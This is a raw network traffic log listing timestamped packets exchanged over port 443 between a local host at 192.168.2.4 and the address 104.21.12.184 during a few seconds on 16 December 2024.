Dec 16, 2024 21:02:24.618307114 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.618331909 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.618356943 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.619008064 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.761149883 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.761212111 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.761416912 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.761465073 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.762070894 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.767446995 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.767493963 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.767550945 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.767575026 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.767606974 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.768111944 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.774740934 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.774791002 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.774831057 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.774840117 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.774864912 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.774877071 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.782250881 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.782318115 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.782356977 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.782371044 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.782403946 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.782432079 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.788606882 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.788646936 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.788738012 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.788753033 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.789028883 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.796468973 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.796510935 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.796587944 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.796618938 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.796647072 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.798022032 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.802892923 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.802937984 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.802966118 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.802973032 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.803002119 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.803011894 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.810368061 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.810456991 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.810513973 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.810528994 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.810559034 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.813043118 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.953129053 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.953181982 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.953246117 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.953298092 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.953352928 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.954015017 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.959441900 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.959461927 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.959501028 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.959508896 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.959536076 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.959547043 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.966867924 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.966886997 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.966943979 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.966959000 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.966991901 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.967078924 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.974149942 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.974168062 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.974261999 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.974282026 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.978072882 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.980606079 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.980623960 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.980684996 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.980690956 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.981128931 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.988477945 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.988497019 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.988559961 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.988568068 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.990031004 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.994980097 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.994998932 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.995060921 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.995065928 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.996064901 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.002409935 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.002433062 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.002490044 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.002496004 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.005057096 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.160399914 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.160423040 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.160459042 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.160476923 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.160489082 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.160624981 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.167812109 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.167831898 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.167875051 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.167885065 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.167898893 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.167963028 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.174673080 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.174694061 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.174743891 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.174751997 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.174774885 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.174787045 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.181724072 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.181744099 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.181783915 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.181793928 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.181807995 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.181848049 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.189172983 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.189193010 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.189237118 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.189248085 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.189264059 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.189594030 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.195992947 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.196032047 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.196058989 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.196069956 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.196182013 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.203403950 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.203427076 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.203458071 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.203464985 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.203486919 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.203504086 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.209880114 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.209901094 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.209940910 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.209949970 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.209964991 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.210028887 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.352873087 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.352895975 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.352972984 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.353024006 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.353058100 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.356096983 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.359800100 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.359822035 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.359879971 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.359899044 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.359931946 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.362046957 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.367209911 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.367229939 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.367304087 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.367311001 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.368120909 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.374094009 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.374113083 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.374162912 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.374170065 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.377082109 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.381135941 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.381155014 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.381202936 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.381220102 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.381251097 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.386039972 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.387944937 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.387963057 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.388037920 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.388051033 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.389035940 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.395488977 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.395508051 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.395555973 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.395562887 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.395593882 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.395605087 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.402858019 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.402875900 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.402918100 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.402924061 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.404104948 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.545593977 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.545624018 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.545713902 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.545728922 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.545769930 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.552925110 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.552944899 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.552983046 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.552989006 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.553018093 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.553040981 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.559377909 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.559396982 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.559433937 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.559441090 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.559470892 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.559493065 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.566751003 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.566770077 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.566821098 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.566827059 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.566862106 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.574330091 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.574350119 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.574388981 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.574395895 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.574424028 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.574443102 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.581080914 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.581099987 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.581137896 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.581144094 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.581168890 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.581187963 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.588517904 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.588536978 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.588576078 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.588581085 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.588612080 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.588629961 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.594930887 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.594949961 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.594990969 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.594997883 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.595026970 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.595037937 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.737679005 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.737699986 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.737736940 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.737751007 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.737776041 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.737788916 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.745501995 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.745520115 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.745557070 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.745567083 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.745589018 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.745609999 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.751632929 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.751651049 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.751689911 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.751696110 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.751720905 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.751734018 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.758873940 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.758892059 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.758924007 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.758929968 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.758955002 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.758966923 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.766382933 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.766402006 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.766432047 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.766439915 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.766467094 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.766478062 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.773400068 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.773417950 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.773453951 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.773462057 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.773482084 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.773493052 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.780600071 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.780618906 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.780652046 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.780658007 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.780699015 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.787066936 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.787086010 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.787122965 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.787128925 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.787154913 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.787173033 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.929505110 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.929529905 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.929585934 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.929611921 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.929629087 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.929656029 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.936902046 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.936922073 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.936980009 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.936989069 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.937031984 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.944247007 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.944266081 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.944322109 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.944329023 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.944364071 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.951443911 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.951462984 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.951508045 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.951515913 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.951540947 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.951551914 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.958123922 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.958146095 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.958200932 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.958206892 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.958245039 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.965230942 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.965250015 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.965306997 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.965312958 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.965349913 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.972493887 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.972517014 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.972574949 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.972599983 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.972624063 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.972652912 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.979825020 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.979844093 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.979902983 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:25.979908943 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:25.979943991 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.121851921 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.121875048 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.122046947 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.122070074 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.122132063 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.128976107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.128994942 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.129056931 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.129074097 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.129106998 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.129131079 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.136490107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.136507988 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.136564016 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.136569977 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.136603117 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.143012047 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.143033981 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.143079042 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.143085957 CET	443	49774	104.21.12.184	192.168.2.4
